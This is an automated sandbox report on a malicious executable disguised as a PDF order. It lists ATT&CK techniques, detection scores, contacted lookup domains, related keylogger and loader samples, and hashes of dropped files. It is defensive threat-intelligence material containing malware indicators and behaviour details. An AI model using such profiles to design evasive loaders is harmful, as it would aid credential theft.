Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	2 Virtualization/Sandbox Evasion	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Disable or Modify Tools	Security Account Manager	1 System Network Configuration Discovery	SMB/Windows Admin Shares	1 Data from Local System	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	3 File and Directory Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	214 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
New Order_pdf_006534325.exe	34%	Virustotal		Browse
New Order_pdf_006534325.exe	26%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsnD7DE.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://nsis.sf.net/NSIS_Error...	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	216.58.206.78	true	false	high
drive.usercontent.google.com	216.58.206.65	true	false	high
reallyfreegeoip.org	104.21.48.1	true	false	high
checkip.dyndns.com	132.226.8.169	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	false		high
https://reallyfreegeoip.org/xml/8.46.123.189	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://drive.google.com/Z	New Order_pdf_006534325.exe, 00000005.00000002.2647109196.0000000005B18000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.123.189l	New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000036070000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/Gn	New Order_pdf_006534325.exe, 00000005.00000003.2082206527.0000000005B84000.00000004.00000020.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000003.2082162666.0000000005B81000.00000004.00000020.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000003.2054075433.0000000005B84000.00000004.00000020.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000002.2647109196.0000000005B7B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.comd	New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000036070000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/	New Order_pdf_006534325.exe, 00000005.00000002.2647109196.0000000005B18000.00000004.00000020.00020000.00000000.sdmp	false		high
http://reallyfreegeoip.orgd	New Order_pdf_006534325.exe, 00000005.00000002.2666529008.000000003608C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.123.189d	New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000036070000.00000004.00000800.00020000.00000000.sdmp	false		high
http://reallyfreegeoip.org	New Order_pdf_006534325.exe, 00000005.00000002.2666529008.000000003608C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.orgd	New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000036070000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000036070000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/	New Order_pdf_006534325.exe, 00000005.00000003.2082206527.0000000005B84000.00000004.00000020.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000003.2082162666.0000000005B81000.00000004.00000020.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000003.2054075433.0000000005B84000.00000004.00000020.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000002.2647109196.0000000005B7B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000035FF1000.00000004.00000800.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000036070000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.com	New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000036070000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_Error...	New Order_pdf_006534325.exe	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/d	New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000036070000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000035FF1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000036070000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
104.21.48.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
216.58.206.78	drive.google.com	United States	15169	GOOGLEUS	false
216.58.206.65	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1607358
Start date and time:	2025-02-05 12:50:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	New Order_pdf_006534325.exe
Detection:	MAL
Classification:	mal96.troj.spyw.evad.winEXE@3/17@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 88% Number of executed functions: 111 Number of non-executed functions: 55
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	QUOTATION_JANQTRA01312025#U00b7PDF.scr.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	SWIFT.cmd	Get hash	malicious	DBatLoader, VIP Keylogger	Browse	checkip.dyndns.org/
	x1hX0HGOYQ.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Voicemessage C655VM 250204.pif.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	T6eibk1E1tg2Fuj.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	BD2GhMbEkC.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	checkip.dyndns.org/
	GPL - INQUIRY-HQ242654.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Ziraat_Bankasi_swift_Messaji.cmd	Get hash	malicious	DBatLoader, VIP Keylogger	Browse	checkip.dyndns.org/
	SCS AWB and Commercial Invoice.exe	Get hash	malicious	Snake Keylogger, XWorm	Browse	checkip.dyndns.org/
	FACTURA 9500.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	QUOTATION_JANQTRA01312025#U00b7PDF.scr.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	P.O 25.bat	Get hash	malicious	MassLogger RAT	Browse	104.21.112.1
	FC4311009.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.96.1
	SecuriteInfo.com.Win32.SuspectCrc.3756.19494.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	PO_UW738903_Order_Specifications_8938726K.GZ	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.112.1
	PRE-CON SURVEY & Drawing.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	SWIFT.cmd	Get hash	malicious	DBatLoader, VIP Keylogger	Browse	104.21.96.1
	x1hX0HGOYQ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	New Order.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.48.1
	SecuriteInfo.com.W32.MSIL_Kryptik.KRF.gen.Eldorado.12347.11289.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
checkip.dyndns.com	QUOTATION_JANQTRA01312025#U00b7PDF.scr.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	P.O 25.bat	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	FC4311009.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	SecuriteInfo.com.Win32.SuspectCrc.3756.19494.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	PO_UW738903_Order_Specifications_8938726K.GZ	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	PRE-CON SURVEY & Drawing.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	SWIFT.cmd	Get hash	malicious	DBatLoader, VIP Keylogger	Browse	132.226.8.169
	x1hX0HGOYQ.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	New Order.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	193.122.130.0
	SecuriteInfo.com.W32.MSIL_Kryptik.KRF.gen.Eldorado.12347.11289.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Orden de compra.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.188.94
	file.lnk	Get hash	malicious	Unknown	Browse	104.16.100.29
	https://kilemanjaro-hiltonsafe.kanzlei-stoll.berlin/Zizzlequark/session/main.php?%27.hash(%27crc32%27,).%27%27.hash(%27crc32%27,).%27	Get hash	malicious	Unknown	Browse	172.67.216.92
	PURCHASE_ORDER_PO-20250949_AUTHORIZED_COPY_OFFICIAL_DOCUMENT.PDF.EXE.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	SOA.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	SecuriteInfo.com.FileRepMalware.27444.30572.exe	Get hash	malicious	FormBook	Browse	104.21.96.1
	http://us11.org	Get hash	malicious	Unknown	Browse	104.21.16.1
	QUOTATION_JANQTRA01312025#U00b7PDF.scr.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	P.O 25.bat	Get hash	malicious	MassLogger RAT	Browse	104.21.112.1
	specs_916351_xlsx.exe	Get hash	malicious	Lokibot	Browse	104.21.48.1
UTMEMUS	QUOTATION_JANQTRA01312025#U00b7PDF.scr.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	SecuriteInfo.com.Win32.SuspectCrc.3756.19494.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	PRE-CON SURVEY & Drawing.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	SWIFT.cmd	Get hash	malicious	DBatLoader, VIP Keylogger	Browse	132.226.8.169
	x1hX0HGOYQ.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Voicemessage C655VM 250204.pif.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	T6eibk1E1tg2Fuj.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	BD2GhMbEkC.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	132.226.8.169
	GPL - INQUIRY-HQ242654.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	Order #880115.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	QUOTATION_JANQTRA01312025#U00b7PDF.scr.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	P.O 25.bat	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	FC4311009.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.48.1
	SecuriteInfo.com.Win32.SuspectCrc.3756.19494.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	PO_UW738903_Order_Specifications_8938726K.GZ	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.48.1
	PRE-CON SURVEY & Drawing.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	SWIFT.cmd	Get hash	malicious	DBatLoader, VIP Keylogger	Browse	104.21.48.1
	x1hX0HGOYQ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	New Order.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.48.1
	SecuriteInfo.com.W32.MSIL_Kryptik.KRF.gen.Eldorado.12347.11289.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
37f463bf4616ecd445d4a1937da06e19	FC4311009.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	216.58.206.78 216.58.206.65
	New Order List Inquiry #657833.exe	Get hash	malicious	Discord Token Stealer, GuLoader	Browse	216.58.206.78 216.58.206.65
	PROFORMA INVOICE - AL AHWAL AL JAYEDAH TECH.CONT.L.L.C.exe	Get hash	malicious	GuLoader	Browse	216.58.206.78 216.58.206.65
	FAKTURA 012025.exe	Get hash	malicious	GuLoader	Browse	216.58.206.78 216.58.206.65
	URGENT Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse	216.58.206.78 216.58.206.65
	Factura.exe	Get hash	malicious	Snake Keylogger	Browse	216.58.206.78 216.58.206.65
	FAKTURA 012025.exe	Get hash	malicious	GuLoader	Browse	216.58.206.78 216.58.206.65
	e-dekont.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	216.58.206.78 216.58.206.65
	Liste de prix Polaris 03022025.xlsm	Get hash	malicious	Unknown	Browse	216.58.206.78 216.58.206.65
	CfF7MWq7aG.html	Get hash	malicious	Unknown	Browse	216.58.206.78 216.58.206.65

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsnD7DE.tmp\System.dll	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	COTIZACION.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Quotation.exe	Get hash	malicious	AgentTesla	Browse
	1364. 2024.exe	Get hash	malicious	AgentTesla	Browse
	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Quote_220072.exe	Get hash	malicious	AgentTesla	Browse
	Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse
	PO-000172483.exe	Get hash	malicious	FormBook, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\cocainize\Lithotriptor.huk

Download File

Process:	C:\Users\user\Desktop\New Order_pdf_006534325.exe
File Type:	data
Category:	dropped
Size (bytes):	189063
Entropy (8bit):	1.2466467334231734
Encrypted:	false
SSDEEP:	768:IucEIs7WGo6HKuvpy6wIG5fNvBoJKc5ius4Ky9KqSGzMM4ClF0oHXpOKm9rD3QcM:J1JGpI5fKGKMVftlYXIL8y
MD5:	F342E7BA488BE2AC57BB244F6048BB39
SHA1:	7C3121E57E1B8CF1E9BD7836B7BA3161418220D9
SHA-256:	8D060A3F682C8D5B044DAE09B37AFDA95CB21753BBB23F7A5B0DC2C8E4F63762
SHA-512:	1B0CFFCFB59C8BB0B2EAD98E22C7A25F4C70444FA4F747DF3BA4096A1415F7D8BC4E5C4992937A3D3A7FEF7D1A5C20DA38361CFD3F824C242F07D299B4B7D888
Malicious:	false
Reputation:	low
Preview:	...........D.....R.......@.......................................................X.U......1..........................................!...........................................................................i...................................................8............................................................................................I...............................................c............................................................'.........1.............e.v......................................2......N..................................C.8........................{...........................................].....r............................................................Q............;........TD.............................^.....K..........+...............................$...$.....................................]..................................+.............................................6...........................J........................H............

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\Skrabnsespils.txt

Download File

Process:	C:\Users\user\Desktop\New Order_pdf_006534325.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 336x674, components 3
Category:	dropped
Size (bytes):	12701
Entropy (8bit):	7.747193130113565
Encrypted:	false
SSDEEP:	192:L1qavgSgIA/UZ1bEqNSc6nEKFL+2Q8TPwnMPW/77/JC6eRz+3E37HAYCRuCeKc5:JXvgSgIuUkc6nEuS2Q8TPwn8o7YW/je
MD5:	C16D7E9CDD76E6C6A6C2C55A3DF4C22F
SHA1:	A8FF93F63CEF29DF4DC4C9908A98B39CFE2D0F77
SHA-256:	FA7B89DE19926538DE22EFFFA7556D3B887804B9EE59481EFE13042EBC2A7622
SHA-512:	DBEE6C0092D6DCDD38B1E782FB862D09A93FECC722E16240E531C53F9B6D83D1C8313CF927CE89D74FC9371E2F5CFEC88A98B0A8FA0B5D36A6E5CB85B0A533FC
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........P.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...iA....?D....P .SiG^(.{.)i..-%(.A.ZJ.;R.v.....x...AGz8..0........1.(.i(......Q@..P(..E..4.u4....CE..-1.IJi).w..sE..J){..Q.(..KIKH.iE%-..u....b....-...(..;Q.Q@.....-.Q......`.ii)h.QE..Q....ZJ;P..QE...(...(....zZC......J..P..N.P0..E...- .....R.Z...M...Z^.....E......(.4t...ZZJ(.Q....-....QE...Q...;.@...@....E.%.....(......R....Q@.....JZN....(()E .........RR..

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\linielngde.pro

Download File

Process:	C:\Users\user\Desktop\New Order_pdf_006534325.exe
File Type:	data
Category:	dropped
Size (bytes):	337931
Entropy (8bit):	1.2558232954108735
Encrypted:	false
SSDEEP:	1536:GepnQBvtfYcZNZRoH8bZHp4oI0kQkYiPGN:TpnUVf7XPDcolbkYiPA
MD5:	3C9245261AB5761879EE306E1F5FD738
SHA1:	5D39971BA7FC8C1A840B772B3F0970656770CA8B
SHA-256:	AF7641E47F4AE7BB1720749AC9C8D9BC00586A88AABFC8DA07AB33850F1AC664
SHA-512:	87325164FDA0F2D76856D08565AEFA4B02540F85D16EE723224DEC34A3B73F3B264CF510A45CEFC9DDAB6CCE508DD11DFC36A0E8D52F8BEA927B2E5B7A0A494B
Malicious:	false
Reputation:	low
Preview:	O...............Z.............................\..................7...............................,...F...7d...................C......d.@..................N............................................................+.....................................................................:.....................................;........D..../........................................................................(..............?......u...........y.....................................................................................................................j.\.........m.................^....I...............................................A.........................................!....W.................................q............p.........\|.................U ........Y.........................................................................Z.............................>...................=.................................... ......................................n......................

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\nacry.ini

Download File

Process:	C:\Users\user\Desktop\New Order_pdf_006534325.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 336x674, components 3
Category:	dropped
Size (bytes):	12043
Entropy (8bit):	7.7581095712795385
Encrypted:	false
SSDEEP:	192:L1qavgSgIA/UZ1bEqNSc6nEKFL+2Q8TPwnMPW/77/JC6eRz+3E37HAYCRuA:JXvgSgIuUkc6nEuS2Q8TPwn8o7YW/7
MD5:	D238CAECE8765BF9760626569559BF74
SHA1:	A2F3AA1BB52DB3315B83FC1A830CB45B725F88F6
SHA-256:	426E8B9E2FAC611DA0286E2F41EC92B725AD2E4D8B9C2B87718EF81F9281390D
SHA-512:	0DE0DF60DDCBF02CC313AE836848DD8E079E3CC68CD5980BFEB1257443924AA70196C727C32D2923C090DCAC2BD7A932DA5315C3A3206F52F9966BA2ABD9E189
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........P.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...iA....?D....P .SiG^(.{.)i..-%(.A.ZJ.;R.v.....x...AGz8..0........1.(.i(......Q@..P(..E..4.u4....CE..-1.IJi).w..sE..J){..Q.(..KIKH.iE%-..u....b....-...(..;Q.Q@.....-.Q......`.ii)h.QE..Q....ZJ;P..QE...(...(....zZC......J..P..N.P0..E...- .....R.Z...M...Z^.....E......(.4t...ZZJ(.Q....-....QE...Q...;.@...@....E.%.....(......R....Q@.....JZN....(()E .........RR..

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\opvkkede.ini

Download File

Process:	C:\Users\user\Desktop\New Order_pdf_006534325.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 336x674, components 3
Category:	dropped
Size (bytes):	13920
Entropy (8bit):	7.670983997234752
Encrypted:	false
SSDEEP:	384:JXvgSgIuUkc6nEuS2Q8TPwn8o7YW/jHgd:J/sUZUEu1Qht7Y2e
MD5:	36FCD7598115FDA310BC57936D594A17
SHA1:	3486B8BA6AB5719AF1EADA21FE6E090ADCEEB0E0
SHA-256:	D6C9DADC5DCFEC9E635C54E1DD3AD5B9454E44EA6968E5EC28FC3908A99552AA
SHA-512:	37772C27E1B907C460273C46916CC00651C22D1E0AACF1535DB05CED7C8CED0A6D5A660A6538DD00655D1EF1011FB5DC127C46E2057B4057952C6C94531CF031
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........P.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...iA....?D....P .SiG^(.{.)i..-%(.A.ZJ.;R.v.....x...AGz8..0........1.(.i(......Q@..P(..E..4.u4....CE..-1.IJi).w..sE..J){..Q.(..KIKH.iE%-..u....b....-...(..;Q.Q@.....-.Q......`.ii)h.QE..Q....ZJ;P..QE...(...(....zZC......J..P..N.P0..E...- .....R.Z...M...Z^.....E......(.4t...ZZJ(.Q....-....QE...Q...;.@...@....E.%.....(......R....Q@.....JZN....(()E .........RR..

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\prud.jpg

Download File

Process:	C:\Users\user\Desktop\New Order_pdf_006534325.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 679x673, components 3
Category:	dropped
Size (bytes):	60152
Entropy (8bit):	7.965494045463898
Encrypted:	false
SSDEEP:	1536:UmJekwHrnQiUOTxPs1aLh3VMeV8lTCw8dGsBs7TdMZUzoUoR:pgLhlBF7Tw8osa7TdMZUEUO
MD5:	5C84AFA67CD76D69E53E6E8AF66EB94A
SHA1:	786E28BCE32C44E621BBD1390A2F55E08A6B6AE1
SHA-256:	0E75C6649C3A5B5A7E590C6FB72048C8DA6CF5095222FB72AD2E51528C62B2DD
SHA-512:	9543B72ABC6A9CCF1A2B6BC3F383FACFC73CE55A79E59537FA4AA1351E8E08541ADA34949F4F42B7244F681C8E3958561987FCD423CBAD8599D217AB2A3E25F9
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?........C.~.~t..7.y.......F]...<......v..o.Y.....M....}.....P...3~u..K..]:r..{.%.K4..6.....O$.I*.=j8T,%.Z.._&..G.. T......lP.;..91.j...<.A..8d=....L.zt....[.6.6.....$TF,.Z..LF..R..G..T.1.I6..~..Z..}....5...2p1U.%n!<......D..e..0............C....8....Y..E..d.9;.;.db.c..z.u&n#...f..9.j.L....I...{.n..'...K.i]..j.7....h,.C6.}s.p......J..Q....(Y.v..(.6iY.

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\rgerrig.txt

Download File

Process:	C:\Users\user\Desktop\New Order_pdf_006534325.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 336x674, components 3
Category:	dropped
Size (bytes):	13315
Entropy (8bit):	7.714747869336622
Encrypted:	false
SSDEEP:	192:L1qavgSgIA/UZ1bEqNSc6nEKFL+2Q8TPwnMPW/77/JC6eRz+3E37HAYCRuCeKchK:JXvgSgIuUkc6nEuS2Q8TPwn8o7YW/jH/
MD5:	DED55C4E40D3BB009F6D039C604786E9
SHA1:	8CA3D9C7F53F3CC2AFD3A1EFE10E79D265747DCD
SHA-256:	41E704DF5363EC94ADECE028466FC7B8CC8AE4753BC5E722871497C759E60F81
SHA-512:	6BA2152BBEFDF8CB07BC063C460AB909AD65033A3F51E796C22A9529867D7D81BB0AD05B2BCEE7606A6ECCB7BF4A11B70603A5F574D1733C4615FA8C0FD2B202
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........P.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...iA....?D....P .SiG^(.{.)i..-%(.A.ZJ.;R.v.....x...AGz8..0........1.(.i(......Q@..P(..E..4.u4....CE..-1.IJi).w..sE..J){..Q.(..KIKH.iE%-..u....b....-...(..;Q.Q@.....-.Q......`.ii)h.QE..Q....ZJ;P..QE...(...(....zZC......J..P..N.P0..E...- .....R.Z...M...Z^.....E......(.4t...ZZJ(.Q....-....QE...Q...;.@...@....E.%.....(......R....Q@.....JZN....(()E .........RR..

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\starving.jpg

Download File

Process:	C:\Users\user\Desktop\New Order_pdf_006534325.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 620x348, components 3
Category:	dropped
Size (bytes):	21698
Entropy (8bit):	7.953660499253525
Encrypted:	false
SSDEEP:	384:vw8+ayqZ4ALy8VWjmIZvsp0eeaILupt6JnHovz+KlNSjuIh2aXBTonNRWG:vw8+5Au8Qw0naoupmhh2U0NX
MD5:	2475386FD6465CB63552C04518117CC6
SHA1:	5962256529202CCA6A2E643BFDAD222346D69F8E
SHA-256:	239EC6D95E63166C4DC153E96593619C58E58578BE24C85F10AC0A81FE9BDDA7
